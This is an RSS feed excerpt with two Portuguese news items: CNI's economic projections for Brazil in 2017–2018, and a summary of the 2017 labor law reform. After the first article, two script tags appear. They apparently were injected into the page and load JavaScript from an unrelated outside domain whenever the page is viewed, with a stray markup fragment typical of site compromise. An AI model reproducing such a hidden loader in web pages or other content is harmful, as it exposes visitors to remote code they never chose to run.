										<content:encoded><![CDATA[<p style="text-align: justify;">A economia brasileira retoma o crescimento, mas em ritmo moderado, de acordo com a Confederação Nacional da Indústria (CNI). A estimativa é de um crescimento do Produto Interno Bruto (PIB, soma de todas as riquezas produzidas pelo país), em 2017, de 1,1% e uma inflação de 2,9%. A expansão da indústria fechará o ano em 0,2%, após três anos de queda, quando acumulou uma retração de 10,9%.</p>
<p style="text-align: justify;">[box type=&#8221;shadow&#8221; align=&#8221;&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">As projeções estão na edição especial do Informe Conjuntural &#8211; Economia Brasileira, com um balanço do desempenho da indústria e da economia brasileira em 2017 e previsões para 2018, divulgado hoje (14). A estimativa de crescimento do PIB para este ano aumentou. O informe anterior, de outubro, previa um crescimento de 0,7%. A CNI reduziu, no entanto, a estimativa de crescimento da indústria, que era de 0,8% para 0,2%.</p>
<p style="text-align: justify;">[/box]</p>
<p style="text-align: justify;">O estudo aponta para a necessidade da retomada do investimento no país, tido pela CNI como fundamental para o novo ciclo de crescimento. A estimativa é que o investimento fechará 2017 com retração de 2,1%, a quarta queda anual consecutiva.</p>
<p style="text-align: justify;">“A continuidade desse crescimento observado, para continuar em 2018, depende da retomada do investimento”, disse o gerente executivo de Política Econômica da CNI, Flávio Castelo Branco, que defende que esse investimento deve vir principalmente do setor privado. “O setor público não tem capacidade para arcar com aumento significativo e necessário para alavancar esse investimento”.</p>
<p style="text-align: justify;"><strong>Consumo das famílias</strong></p>
<p style="text-align: justify;">Com a queda da inflação, o consumo das famílias crescerá 1,3% este ano, segundo a CNI. “O consumo reativou e essa reação, já arrasta a economia para lado positivo do crescimento. A recessão atingiu o consumo das famílias de forma como nunca tinha sido atingido”, disse Castelo Branco.</p>
<p style="text-align: justify;">Já o desemprego fica em 12,8%. “O desemprego ainda se encontra em um patamar elevado, mas sinais de enfraquecimento do problema do mercado de trabalho levam à expectativa que vamos ter uma contribuição positiva da reativação do mercado de trabalho”, avaliou Castelo Branco.</p>
<p style="text-align: justify;">Com os dados, a avaliação da CNI é de que a economia brasileira saiu “da recessão mais profunda da sua história”.</p>
<p style="text-align: justify;"><strong>Projeções</strong></p>
<p style="text-align: justify;">Em 2018, o crescimento estimado do PIB é de 2,6% e da indústria, de 3%. A previsão é que os investimentos aumentem em 4%. O consumo das famílias deverá crescer 2,8%. As projeções levam em consideração a aprovação da reforma da Previdência, em discussão no Congresso Nacional. “Se não aprova a reforma, o receio dos empresários é de os governos não conseguirem fechar a contas e, com isso, começam a não acreditar novamente que o país será capaz de crescer”, disse o presidente da CNI, Robson Andrade.</p>
<p style="text-align: justify;">O desemprego cairá para 11,8% e a inflação fechará o ano em 4,4%, segundo a CNI. A estimativa é que a taxa básica de juros, a Selic, chegue ao fim de 2018 em 6,75% ao ano, hoje em 7% ao ano. Já a balança comercial deverá alcançar US$ 54 bilhões, com US$ 228 bilhões em exportações e US$ 174 bilhões em importações.</p>
<p style="text-align: justify;">De acordo com a CNI, as eleições de 2018 terão impacto econômico. A confederação defende que é necessário o compromisso com a continuidade das reformas para consolidar o processo de recuperação econômica.</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script>&#8220;&gt;</p>
<p><script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script></p>
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		<title>Conheça as novas leis trabalhistas</title>
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		<dc:creator><![CDATA[Antônio Carlos Garcia]]></dc:creator>
		<pubDate>Fri, 10 Nov 2017 20:03:21 +0000</pubDate>
				<category><![CDATA[Negócios]]></category>
		<category><![CDATA[CNI]]></category>
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		<category><![CDATA[governo]]></category>
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					<description><![CDATA[<p>A nova lei trabalhista entrará em vigor  neste  sábado,  11 de novembro. Sancionada em julho, após grande discussão no Congresso Nacional, ela vem para simplificar, desburocratizar e disciplinar formas de trabalho características desta era em que vivemos. Mas a principal mudança é o peso dos acordos entre empresas, sindicatos ou empregados que se sobrepõem ao [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">A nova lei trabalhista entrará em vigor  neste  sábado,  11 de novembro. Sancionada em julho, após grande discussão no Congresso Nacional, ela vem para simplificar, desburocratizar e disciplinar formas de trabalho características desta era em que vivemos. Mas a principal mudança é o peso dos acordos entre empresas, sindicatos ou empregados que se sobrepõem ao legislado. A reforma trabalhista vem modernizar uma legislação que já estava arcaica e, agora, traz segurança jurídica a todas as partes envolvidas nas questões de trabalho. Abaixo, algumas das mudanças com a nova lei:</p>
<p style="text-align: justify;">[box type=&#8221;info&#8221; align=&#8221;aligncenter&#8221; class=&#8221;&#8221; width=&#8221;&#8221;]</p>
<p style="text-align: justify;">&#8211; As férias poderão ser fracionadas em até três períodos, mediante negociação, contanto que um dos períodos seja de pelo menos 15 dias corridos.</p>
<p style="text-align: justify;">&#8211; Jornada diária poderá ser de 12 horas com 36 horas de descanso, respeitando o limite de 44 horas semanais (ou 48 horas, com as horas extras) e 220 horas mensais.</p>
<p style="text-align: justify;">&#8211; Sobre Home Office: Tudo o que o trabalhador usar em casa será formalizado com o patrão via contrato, como equipamentos e gastos com energia e internet, e o controle do trabalho será feito por tarefa.</p>
<p style="text-align: justify;">&#8211; Em negociações sobre redução de salários ou de jornada, deverá haver cláusula prevendo a proteção dos empregados contra demissão durante o prazo de vigência o prever contrapartidas para um item negociado.</p>
<p style="text-align: justify;">[/box]</p>
<p style="text-align: justify;">Há inúmeros outros pontos que foram modificados com a nova legislação trabalhista. Para facilitar a vida do cidadão, a Confederação Nacional da Indústria (CNI) lançou o aplicativo Conexão RT. Disponível para IOS e Android, a ferramenta permite conhecer as novidades da lei e poder comparar com a norma anterior. Com o app é possível marcar assuntos de preferência, compartilhar, enviar por e-mail e imprimir as informações que considerar mais relevante. O aplicativo é gratuito e pra baixar, é só acessar a Appstore ou Google Play no seu dispositivo móvel.</p>
<p style="text-align: justify;">A opinião da Federação das Indústrias do Estado de Sergipe (FIES), por meio do seu presidente, Eduardo Prado de Oliveira, é de que a nova legislação trabalhista era algo necessário e primordial para o atual momento. “Traz segurança jurídica, possibilita um melhor diálogo entre os vários personagens envolvidos nas relações de trabalho e, a modernização já é algo existente nos países desenvolvidos e o Brasil estava perdendo até em competitividade com a lei antiga. É um passo adiante na busca da recuperação econômica do nosso país”, enfatiza Eduardo. Para ele “essa é apenas uma etapa de um esforço maior que precisa ser iniciado com a remoção do enorme lixo burocrático que permeia todos os setores, dificultando a atividade produtiva do país”.</p>
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